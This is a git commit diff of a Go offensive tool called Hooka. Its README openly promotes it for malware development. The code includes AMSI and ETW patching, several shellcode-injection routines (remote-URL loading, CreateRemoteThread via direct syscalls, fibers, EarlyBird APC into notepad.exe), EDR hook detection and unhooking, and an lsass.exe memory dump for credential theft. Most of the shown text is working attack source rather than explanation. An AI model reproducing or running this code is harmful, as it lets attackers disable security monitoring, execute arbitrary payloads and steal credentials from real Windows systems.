initial commit

This commit is contained in:
d3ext
2023-02-20 22:56:04 +01:00
parent 3f4bdcda90
commit f86e21cbb1
27 changed files with 2060 additions and 23 deletions
+148 -23
View File
@@ -1,10 +1,11 @@
<p align="center">
<h1 align="center">Hooka</h1>
<p align="center">~ Windows hooks detector and shellcode injector written in Golang ~</p>
<p align="center">~ Shellcode injector, hooks detector and more written in Golang ~</p>
</p>
<p align="center">
<a href="#introduction">Introduction</a> •
<a href="#features">Features</a> •
<a href="#usage">Usage</a> •
<a href="#library">Library</a> •
<a href="#contributing">Contributing</a> •
@@ -13,86 +14,210 @@
# Introduction
I started this project
I started this project to create a powerful shellcode injector with a lot of malleable capabilities via CLI flags like detecting hooked functions, using Hells Gate technique and more. Why in Golang? Because it's a great language to develop malware and this project can help with it by providing an stable API with some functions which can be really useful.
There's not to much info about detecting Windows hooks in ***Golang*** so I decided to try by my own and I've also taken some code from [BananaPhone]() project (thanks a lot to ***C-Sto***)
There isn't too much info about detecting Windows hooks in ***Golang*** so I decided to try by my own. However I've also taken some code from [BananaPhone](https://github.com/C-Sto/BananaPhone) and [Doge-Gabh](https://github.com/timwhitez/Doge-Gabh) projects (thanks a lot to ***C-Sto*** and ***timwhitez***)
# Features
- Inject shellcode from remote URL or local file
- Shellcode reflective DLL injection (***sRDI***)
- ***AMSI*** and ***ETW*** patch
- Detects hooked functions (i.e. CreateRemoteThread)
- Compatible with base64 and hex encoded shellcode
- Hell's Gate technique
- Capable of unhooking functions
- Multiple shellcode injection techniques:
- CreateRemoteThread
- Fibers
- OpenProcess
- EarlyBirdAPC
- Dump lsass.exe process to a file
- Windows API hashing (see [here](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware))
- Test mode (injects a calc.exe shellcode)
# Usage
You just have to clone the repository like this:
Before using the project you should know that there are some functions from `ntdll.dll` that aren't usually hooked but they always appear to be hooked. Here you have all false positives:
```
NtGetTickCount
NtQuerySystemTime
NtdllDefWindowProc_A
NtdllDefWindowProc_W
NtdllDialogWndProc_A
NtdllDialogWndProc_W
ZwQuerySystemTime
```
Just clone the repository like this:
```sh
git clone https://github.com/D3Ext/Hooka
```
```
```
> Detect hooked functions by EDR
> Detect hooked functions by EDR (including false positives)
```sh
.\Hooka.exe --hooks
```
> Test shellcode injection by spawning a calc.exe
```sh
.\Hooka.exe --test
```
If no technique is especified it will use a random one
> Inject shellcode from URL
```sh
.\Hooka.exe --inject CreateRemoteThread --url http://192.168.116.37/shellcode.bin
.\Hooka.exe -t CreateRemoteThread --url http://192.168.116.37/shellcode.bin
```
> Inject shellcode from file
```sh
.\Hooka.exe --inject Fibers --file shellcode.bin
.\Hooka.exe -t Fibers --file shellcode.bin
```
> Inject shellcode using Hell's Gate
```sh
.\Hooka.exe --inject CreateRemoteThread --url http://192.168.116.37/shellcode.bin --hells
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --hells
```
> Unhook function before injecting shellcode
```sh
.\Hooka.exe -t OpenProcess --file shellcode.bin --unhook
```
# Demo
> Detecting hooks
<img src="">
<img src="assets/hooks.png">
> Injecting shellcode via CreateRemoteThread
<img src="">
<img src="assets/test.png">
> Test function
<img src="assets/test.png">
> Dump lsass memory
<img src="assets/lsass.png">
# TODO
:black_square_button: Stable API for CLR functions
:black_square_button: More injection techniques
:black_square_button: Better error handling
# Library
If you're looking to implement any function in your malware you can do it using the official library API:
If you're looking to implement any function in your malware you can do it using the official package API:
> First of all download the package
```sh
go get github.com/D3Ext/Hooka/pkg
go get github.com/D3Ext/Hooka/pkg/hooka
```
> Detect hooked functions (including false positives)
```go
...
package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
...
func main(){
// Returns all hooked functions
hooks, err := hooka.DetectHooks() // func DetectHooks() ([]string, error) {}
if err != nil {
log.Fatal(err)
}
fmt.Println(hooks)
// Check if an especific function is hooked
check, err := hooka.IsHooked("CreateRemoteThread") // func IsHooked(funcname string) (bool, error) {}
if err != nil {
log.Fatal(err)
}
fmt.Println(check) // true or false
}
```
> Resolve syscalls via API hashing
```go
...
package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
...
func main(){
// = CreateRemoteThread
proc, err := hooka.FuncFromHash("") // Returns a pointer to function like NewProc()
if err != nil {
log.Fatal(err)
}
proc.Call()
...
}
```
> Apply AMSI and ETW patch
```go
package main
import (
"fmt"
"log"
"github.com/D3Ext/Hooka/pkg/hooka"
)
func main(){
// Amsi bypass
err := hooka.PatchAmsi(0) // Use 0 for own process
if err != nil {
log.Fatal(err)
}
fmt.Println("AMSI bypassed!")
// ETW bypass
err = hooka.PatchEtw()
if err != nil {
log.Fatal(err)
}
fmt.Println("ETW bypassed!")
}
```
> Unhook a function
```go
package main
```
# Contributing
Do you wanna improve the code with any idea or code optimization? You're in the right place
See [CONTRIBUTING.md]()
See [CONTRIBUTING.md](https://github.com/D3Ext/Hooka/blob/main/CONTRIBUTING.md)
# References
```
https://github.com/C-Sto/BananaPhone
https://github.com/timwhitez/Doge-Gabh
https://github.com/Ne0nd0g/go-shellcode
https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions#checking-for-hooks
https://github.com/Kara-4search/HookDetection_CSharp
https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/
@@ -106,7 +231,7 @@ Use this project under your own responsability!
# License
This project is licensed under [MIT]() license
This project is licensed under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license
Copyright © 2023, *D3Ext*
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 679 KiB

+83
View File
@@ -0,0 +1,83 @@
package core
/*
References:
*/
import (
//"errors"
"fmt"
"time"
"unsafe"
"syscall"
"golang.org/x/sys/windows"
)
var amsi_patch = []byte{0xc3}
func PatchAmsi(pid int) (error) {
amsidll := syscall.NewLazyDLL("amsi.dll") // Load DLLs
kernel32 := syscall.NewLazyDLL("kernel32.dll")
amsiScanBuffer := amsidll.NewProc("AmsiScanBuffer")
amsiScanString := amsidll.NewProc("AmsiScanString")
amsiInitialize := amsidll.NewProc("AmsiInitialize")
openProcess := kernel32.NewProc("OpenProcess")
closeHandle := kernel32.NewProc("CloseHandle")
getCurrentProcess := kernel32.NewProc("GetCurrentProcess")
virtualProtectEx := kernel32.NewProc("VirtualProtectEx")
writeProcessMemory := kernel32.NewProc("WriteProcessMemory")
time.Sleep(100 * time.Millisecond)
var handle uintptr
var err error
if (pid == 0) {
handle, _, _ = getCurrentProcess.Call()
} else {
handle, _, _ = openProcess.Call(uintptr(0x1F0FFF), uintptr(0), uintptr(pid))
}
addresses := []uintptr{
amsiInitialize.Addr(),
amsiScanBuffer.Addr(),
amsiScanString.Addr(),
}
var oldProtect uint32
var old uint32
time.Sleep(100 * time.Millisecond)
for _, addr := range addresses {
_, _, err = virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), windows.PAGE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
if err != nil {
fmt.Println("error virtualProtectEx")
}
//writeProcessMemory.Call(uintptr(handle), addr, uintptr(unsafe.Pointer(&amsi_patch[0])), uintptr(len(amsi_patch)))
r1, _, _ := writeProcessMemory.Call(uintptr(handle), addr, uintptr(unsafe.Pointer(&amsi_patch[0])), uintptr(len(amsi_patch)))
if r1 == 0 {
fmt.Println("error writeProcessMemory")
}
//virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), uintptr(oldProtect), uintptr(unsafe.Pointer(&old)))
_, _, err = virtualProtectEx.Call(uintptr(handle), addr, uintptr(1), uintptr(oldProtect), uintptr(unsafe.Pointer(&old)))
if err != nil {
fmt.Println("error virtualProtectEx")
}
}
closeHandle.Call(handle)
return nil
}
+106
View File
@@ -0,0 +1,106 @@
package core
import (
"io"
"os"
"fmt"
"time"
"bytes"
"net/http"
"math/rand"
"io/ioutil"
"crypto/sha1"
"encoding/binary"
// Third-party packages
"github.com/Binject/debug/pe"
)
const ntdllpath = "C:\\Windows\\System32\\ntdll.dll"
const kernel32path = "C:\\Windows\\System32\\kernel32.dll"
var HookCheck = []byte{0x4c, 0x8b, 0xd1, 0xb8} // Define hooked bytes to look for
type MayBeHookedError struct { // Define custom error for hooked functions
Foundbytes []byte
}
func (e MayBeHookedError) Error() string {
return fmt.Sprintf("may be hooked: wanted %x got %x", HookCheck, e.Foundbytes)
}
func RvaToOffset(pefile *pe.File, rva uint32) (uint32) {
for _, hdr := range pefile.Sections {
baseoffset := uint64(rva)
if baseoffset > uint64(hdr.VirtualAddress) &&
baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) {
return rva - hdr.VirtualAddress + hdr.Offset
}
}
return rva
}
func CheckBytes(b []byte) (uint16, error) {
if bytes.HasPrefix(b, HookCheck) == true { // Check syscall bytes
return 0, MayBeHookedError{Foundbytes: b}
}
return binary.LittleEndian.Uint16(b[4:8]), nil
}
// Generate a random integer between range
func RandomInt(max int, min int) (int) { // Return a random number between max and min
rand.Seed(time.Now().UnixNano())
rand_int := rand.Intn(max - min + 1) + min
return rand_int
}
// Shellcode helper functions
func GetShellcodeFromUrl(sc_url string) ([]byte, error) { // Make request to URL return shellcode
req, err := http.NewRequest("GET", sc_url, nil)
if err != nil {
return []byte(""), err
}
req.Header.Set("Accept", "application/x-www-form-urlencoded")
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36")
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return []byte(""), err
}
defer resp.Body.Close()
b, err := io.ReadAll(resp.Body)
if err != nil {
return []byte(""), err
}
return b, nil
}
func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and return content in bytes
f, err := os.Open(file)
if err != nil {
return []byte(""), err
}
defer f.Close()
shellcode_bytes, err := ioutil.ReadAll(f)
if err != nil {
return []byte(""), err
}
return shellcode_bytes, nil
}
// Convert string to Sha1 (used for hashing)
func StrToSha1(str string) (string) {
h := sha1.New()
h.Write([]byte(str))
bs := h.Sum(nil)
return fmt.Sprintf("%x", bs)
}
+15
View File
@@ -0,0 +1,15 @@
package core
/*
This package defines calc.exe shellcode which is used in --test function
*/
func CalcShellcode() ([]byte) {
return []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
}
+104
View File
@@ -0,0 +1,104 @@
package core
import (
"fmt"
"unsafe"
"syscall"
// Third-party
bap "github.com/C-Sto/BananaPhone/pkg/BananaPhone"
// Internal
"golang.org/x/sys/windows"
)
func CreateThread(shellcode []byte, handle uintptr, NtAllocateVirtualMemorySysid, NtProtectVirtualMemorySysid, NtCreateThreadExSysid uint16) {
const (
thisThread = uintptr(0xffffffffffffffff)
memCommit = uintptr(0x00001000)
memreserve = uintptr(0x00002000)
)
var baseA uintptr
regionsize := uintptr(len(shellcode))
r1, r := bap.Syscall(
NtAllocateVirtualMemorySysid,
handle,
uintptr(unsafe.Pointer(&baseA)),
0,
uintptr(unsafe.Pointer(&regionsize)),
uintptr(memCommit|memreserve),
syscall.PAGE_READWRITE,
)
if r != nil {
fmt.Printf("1 %s %x\n", r, r1)
return
}
bap.WriteMemory(shellcode, baseA)
var oldprotect uintptr
r1, r = bap.Syscall(
NtProtectVirtualMemorySysid,
handle,
uintptr(unsafe.Pointer(&baseA)),
uintptr(unsafe.Pointer(&regionsize)),
syscall.PAGE_EXECUTE_READ,
uintptr(unsafe.Pointer(&oldprotect)),
)
var hhosthread uintptr
r1, r = bap.Syscall(
NtCreateThreadExSysid,
uintptr(unsafe.Pointer(&hhosthread)),
0x1FFFFF,
0,
handle,
baseA,
0,
uintptr(0),
0,
0,
0,
0,
)
syscall.WaitForSingleObject(syscall.Handle(hhosthread), 0xffffffff)
}
func CreateRemoteThread(shellcode []byte) (error) {
kernel32DLL := windows.NewLazySystemDLL("kernel32.dll")
VirtualProtectEx := kernel32DLL.NewProc("VirtualProtectEx")
bp, e := bap.NewBananaPhone(bap.AutoBananaPhoneMode)
if e != nil {
return e
}
mess, e := bp.GetFuncPtr("NtCreateThreadEx")
if e != nil {
return e
}
oldProtect := windows.PAGE_EXECUTE_READ
VirtualProtectEx.Call(uintptr(0xffffffffffffffff), uintptr(mess), uintptr(0x100), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
bap.WriteMemory([]byte{0x90, 0x90, 0x4c, 0x8b, 0xd1, 0xb8, 0xc1, 0x00, 0x00, 0x00, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90}, uintptr(mess))
alloc, e := bp.GetSysID("NtAllocateVirtualMemory")
if e != nil {
return e
}
protect, e := bp.GetSysID("NtProtectVirtualMemory")
if e != nil {
return e
}
createthread, e := bp.GetSysID("NtCreateThreadEx")
if e != nil {
return e
}
CreateThread(shellcode, uintptr(0xffffffffffffffff), alloc, protect, createthread)
return nil
}
+259
View File
File diff suppressed because one or more lines are too long
+61
View File
@@ -0,0 +1,61 @@
package core
import (
"unsafe"
"syscall"
"fmt"
"errors"
// Internal
"golang.org/x/sys/windows"
)
func EarlyBirdApc(shellcode []byte) (error){
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
QueueUserAPC := kernel32.NewProc("QueueUserAPC")
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
Flags: windows.CREATE_SUSPENDED,
}
errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"), syscall.StringToUTF16Ptr(""), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
if errCreateProcess != nil {
return errors.New(fmt.Sprintf("[!] Error calling CreateProcess: %v", errCreateProcess.Error()))
}
addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if addr == 0 {
return errors.New("[!] VirtualAllocEx failed and returned 0")
}
WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := windows.PAGE_READWRITE
VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
QueueUserAPC.Call(addr, uintptr(procInfo.Thread), 0)
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
if errResumeThread != nil {
return errors.New(fmt.Sprintf("[!] Error calling ResumeThread: %v", errResumeThread.Error()))
}
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
if errCloseProcHandle != nil {
return errCloseProcHandle
}
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
if errCloseThreadHandle != nil {
return errCloseThreadHandle
}
return nil
}
+75
View File
@@ -0,0 +1,75 @@
package core
import (
//"fmt"
"unsafe"
"syscall"
"encoding/hex"
)
var (
ntdll = syscall.NewLazyDLL("ntdll.dll")
procWriteProcessMemory = syscall.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
procEtwEventWrite = ntdll.NewProc("EtwEventWrite")
procEtwEventWriteEx = ntdll.NewProc("EtwEventWriteEx")
procEtwEventWriteFull = ntdll.NewProc("EtwEventWriteFull")
procEtwEventWriteString = ntdll.NewProc("EtwEventWriteString")
procEtwEventWriteTransfer = ntdll.NewProc("EtwEventWriteTransfer")
)
func PatchEtw() (error) {
handle := uintptr(0xffffffffffffffff)
dataAddr := []uintptr{
procEtwEventWriteFull.Addr(),
procEtwEventWrite.Addr(),
procEtwEventWriteEx.Addr(),
//procEtwEventWriteNoRegistration.Addr(),
procEtwEventWriteString.Addr(),
procEtwEventWriteTransfer.Addr(),
}
for i, _ := range dataAddr {
data, _ := hex.DecodeString("4833C0C3")
var nLength uintptr
datalength := len(data)
WriteProcessMemory(
handle,
dataAddr[i],
&data[0],
uintptr(uint32(datalength)),
&nLength,
)
}
return nil
}
func WriteProcessMemory(hProcess uintptr, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (error) {
r1, _, e1 := syscall.Syscall6(
procWriteProcessMemory.Addr(),
5,
uintptr(hProcess),
uintptr(lpBaseAddress),
uintptr(unsafe.Pointer(lpBuffer)),
uintptr(nSize),
uintptr(unsafe.Pointer(lpNumberOfBytesWritten)),
0,
)
if r1 == 0 {
if e1 == 0 {
return e1
}
}
return nil
}
+80
View File
@@ -0,0 +1,80 @@
package core
/*
References:
https://ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber
https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateFiber/main.go
*/
import (
"unsafe"
"errors"
"fmt"
"golang.org/x/sys/windows"
)
const (
// MEM_COMMIT is a Windows constant used with Windows API calls
MEM_COMMIT = 0x1000
// MEM_RESERVE is a Windows constant used with Windows API calls
MEM_RESERVE = 0x2000
// PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
PAGE_EXECUTE_READ = 0x20
// PAGE_READWRITE is a Windows constant used with Windows API calls
PAGE_READWRITE = 0x04
)
func Fibers(shellcode []byte) (error) {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
ConvertThreadToFiber := kernel32.NewProc("ConvertThreadToFiber")
CreateFiber := kernel32.NewProc("CreateFiber")
SwitchToFiber := kernel32.NewProc("SwitchToFiber")
fiberAddr, _, _ := ConvertThreadToFiber.Call() // Convert thread to fiber
// Allocate shellcode
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
if addr == 0 {
return errors.New("VirtualAlloc failed and returned 0")
}
// Copy shellcode to memory
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := PAGE_READWRITE
// Change memory region to PAGE_EXECUTE_READ
VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
// Create fiber
fiber, _, _ := CreateFiber.Call(0, addr, 0)
_, _, errSwitchToFiber := SwitchToFiber.Call(fiber)
if errSwitchToFiber != nil {
fmt.Println("errSwitchToFiber", errSwitchToFiber.Error())
}
_, _, errSwitchToFiber2 := SwitchToFiber.Call(fiberAddr)
if errSwitchToFiber2 != nil {
fmt.Println("errSwitchToFiber2", errSwitchToFiber2.Error())
}
return nil
}
+42
View File
@@ -0,0 +1,42 @@
package core
/*
This package returns CLI flags with customizble options
*/
import (
"flag"
)
func ParseFlags() (string, string, string, string, bool, bool, bool, bool, bool, bool, string) {
var sc_url string
var sc_file string
var dll_file string
var technique string
var hook_detect bool
var hells bool
var unhook bool
var base64_flag bool
var hex_flag bool
var test_flag bool
var lsass_flag string
flag.StringVar(&sc_url, "url", "", "remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)")
flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored")
flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)")
flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (by default: random)")
flag.BoolVar(&hook_detect, "hooks", false, "dinamically detect hooked functions by EDR")
flag.BoolVar(&hells, "hells", false, "enable Hell's Gate technique to try to evade possible EDRs")
flag.BoolVar(&unhook, "unhook", false, "overwrite syscall memory address to bypass EDR (if no function is hooked it doesn't do nothing)")
flag.BoolVar(&base64_flag, "b64", false, "decode base64 encoded shellcode")
flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode")
flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe")
flag.StringVar(&lsass_flag, "lsass", "", "dump lsass.exe process memory into a file to extract credentials (run as admin)")
flag.Parse()
return sc_url, sc_file, dll_file, technique, hook_detect, hells, unhook, base64_flag, hex_flag, test_flag, lsass_flag // Return all param values
}
+46
View File
@@ -0,0 +1,46 @@
package core
/*
References:
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
*/
import (
"errors"
"golang.org/x/sys/windows"
// Third-party
"github.com/Binject/debug/pe"
)
// Check if hash is a valid function and return its proc
func FuncFromHash(hash string, dll string) (*windows.LazyProc, string, error) {
dll_pe, err := pe.Open(dll) // Open and parse dll as a PE
if err != nil {
return new(windows.LazyProc), "", err
}
defer dll_pe.Close()
exports, err := dll_pe.Exports() // Get exported functions
if err != nil {
return new(windows.LazyProc), "", err
}
for _, ex := range exports {
if (StrToSha1(ex.Name) == hash) {
return windows.NewLazyDLL(dll).NewProc(ex.Name), ex.Name, nil
}
}
return new(windows.LazyProc), "", errors.New("function not found!")
}
// Convert string to sha1
func HashFromFunc(funcname string) (string) {
return StrToSha1(funcname)
}
+77
View File
@@ -0,0 +1,77 @@
package core
/*
This package provides a function to detect Windows API hooked functions (e.g. CreateRemoteThread)
References:
https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscall-functions
https://github.com/C-Sto/BananaPhone
*/
import (
"fmt"
"errors"
"strings"
// Third-party packages
"github.com/Binject/debug/pe"
)
func DetectHooks() ([]string, error) {
var hooked_functions []string
ntdll_pe, err := pe.Open(ntdllpath) // Open and parse ntdll.dll as a PE
if err != nil {
return hooked_functions, err
}
defer ntdll_pe.Close()
exports, err := ntdll_pe.Exports() // Get exported functions
if err != nil {
return hooked_functions, err
}
for _, exp := range exports { // Iterate over them
offset := RvaToOffset(ntdll_pe, exp.VirtualAddress) // Get RVA offset
bBytes, err := ntdll_pe.Bytes() // Get bytes from ntdll.dll
if err != nil {
return hooked_functions, err
}
buff := bBytes[offset : offset+10]
_, err = CheckBytes(buff) // Get syscall ID (if function is hooked it returns a custom error)
var hook_err MayBeHookedError
if (len(exp.Name) > 3) { // Avoid errors by checking function name length
if exp.Name[0:2] == "Nt" || exp.Name[0:2] == "Zw" { // Just use functions which start by "Nt" or "Zw"
if errors.As(err, &hook_err) == false { // Check error
/*if bytes.HasPrefix(buff, []byte{0xE9}) == false {
fmt.Println(exp.Name)
}*/
hooked_functions = append(hooked_functions, exp.Name)
}
}
}
}
return hooked_functions, nil
}
func IsHooked(funcname string) (bool, error) {
all_hooks, err := DetectHooks()
if err != nil {
return false, err
}
for _, h := range all_hooks {
if (strings.ToLower(funcname) == strings.ToLower(h)) {
return true, nil
}
}
return false, nil
}
+48
View File
@@ -0,0 +1,48 @@
package core
import (
"fmt"
"strings"
)
var techniques = []string{"CreateRemoteThread", "Fibers", "CreateProcess", "EarlyBirdApc"}
func InjectWithTechnique(shellcode []byte, technique string) (error) {
// Check especified injection technique
if (strings.ToLower(technique) == "createremotethread") {
err := CreateRemoteThread(shellcode)
if err != nil {
return err
}
} else if (strings.ToLower(technique) == "fibers") {
err := Fibers(shellcode)
if err != nil {
return err
}
} else if (strings.ToLower(technique) == "createprocess") {
err := CreateProcess(shellcode)
if err != nil {
return err
}
} else if (strings.ToLower(technique) == "earlybirdapc") {
err := EarlyBirdApc(shellcode)
if err != nil {
return err
}
} else {
rand_n := RandomInt(3, 0)
fmt.Println("[*] Injecting shellcode using " + techniques[rand_n] + " function")
err := InjectWithTechnique(shellcode, techniques[rand_n])
if err != nil {
return err
}
}
return nil
}
+165
View File
@@ -0,0 +1,165 @@
package core
/*
References:
https://github.com/calebsargent/GoProcDump
https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass
*/
import (
"os"
"syscall"
"unsafe"
mproc "github.com/D3Ext/maldev/process"
)
func DumpLsass(output string) (error) {
err := elevateProcessToken()
if err != nil {
return err
}
all_lsass_pids, err := mproc.FindPidByName("lsass.exe")
if err != nil {
return err
}
lsass_pid := all_lsass_pids[0]
//set up Win32 APIs
var dbghelp = syscall.NewLazyDLL("Dbghelp.dll")
var procMiniDumpWriteDump = dbghelp.NewProc("MiniDumpWriteDump")
var kernel32 = syscall.NewLazyDLL("kernel32.dll")
var procOpenProcess = kernel32.NewProc("OpenProcess")
var procCreateFileW = kernel32.NewProc("CreateFileW")
// error not handle because it's unstable
processHandle, _, _ := procOpenProcess.Call(uintptr(0xFFFF), uintptr(1), uintptr(lsass_pid))
// Create memory dump
os.Create(output)
path, _ := syscall.UTF16PtrFromString(output)
fileHandle, _, _ := procCreateFileW.Call(
uintptr(unsafe.Pointer(path)),
syscall.GENERIC_WRITE,
syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE,
0,
syscall.OPEN_EXISTING,
syscall.FILE_ATTRIBUTE_NORMAL,
0,
)
ret, _, err := procMiniDumpWriteDump.Call(
uintptr(processHandle),
uintptr(lsass_pid),
uintptr(fileHandle),
0x00061907,
0,
0,
0,
)
if (ret == 0) {
os.Remove(output)
return err
}
return nil
}
func elevateProcessToken() (error) {
//token elevation process sourced from
//https://stackoverflow.com/questions/39595252/shutting-down-windows-using-golang-code
type Luid struct {
lowPart uint32 // DWORD
highPart int32 // long
}
type LuidAndAttributes struct {
luid Luid // LUID
attributes uint32 // DWORD
}
type TokenPrivileges struct {
privilegeCount uint32 // DWORD
privileges [1]LuidAndAttributes
}
const SeDebugPrivilege = "SeDebugPrivilege"
const tokenAdjustPrivileges = 0x0020
const tokenQuery = 0x0008
var hToken uintptr
user32 := syscall.MustLoadDLL("user32")
defer user32.Release()
kernel32 := syscall.MustLoadDLL("kernel32")
defer user32.Release()
advapi32 := syscall.MustLoadDLL("advapi32")
defer advapi32.Release()
GetCurrentProcess := kernel32.MustFindProc("GetCurrentProcess")
GetLastError := kernel32.MustFindProc("GetLastError")
OpenProdcessToken := advapi32.MustFindProc("OpenProcessToken")
LookupPrivilegeValue := advapi32.MustFindProc("LookupPrivilegeValueW")
AdjustTokenPrivileges := advapi32.MustFindProc("AdjustTokenPrivileges")
currentProcess, _, _ := GetCurrentProcess.Call()
result, _, err := OpenProdcessToken.Call(
currentProcess,
tokenAdjustPrivileges|tokenQuery,
uintptr(unsafe.Pointer(&hToken)),
)
if result != 1 {
return err
}
var tkp TokenPrivileges
result, _, err = LookupPrivilegeValue.Call(
uintptr(0),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))),
uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
)
if result != 1 {
return err
}
const SePrivilegeEnabled uint32 = 0x00000002
tkp.privilegeCount = 1
tkp.privileges[0].attributes = SePrivilegeEnabled
result, _, err = AdjustTokenPrivileges.Call(
hToken,
0,
uintptr(unsafe.Pointer(&tkp)),
0,
uintptr(0),
0,
)
if result != 1 {
return err
}
result, _, _ = GetLastError.Call()
if result != 0 {
return err
}
return nil
}
+301
View File
@@ -0,0 +1,301 @@
package core
/*
References:
https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateProcess/main.go
*/
import (
"encoding/binary"
"fmt"
"log"
"syscall"
"errors"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
func CreateProcess(shellcode []byte) (error) {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
}
errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"), syscall.StringToUTF16Ptr(""), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
if errCreateProcess != nil {
return errCreateProcess
}
addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if addr == 0 {
return errors.New("VirtualAllocEx failed and returned 0")
}
// Write shellcode into child process memory
WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := windows.PAGE_READWRITE
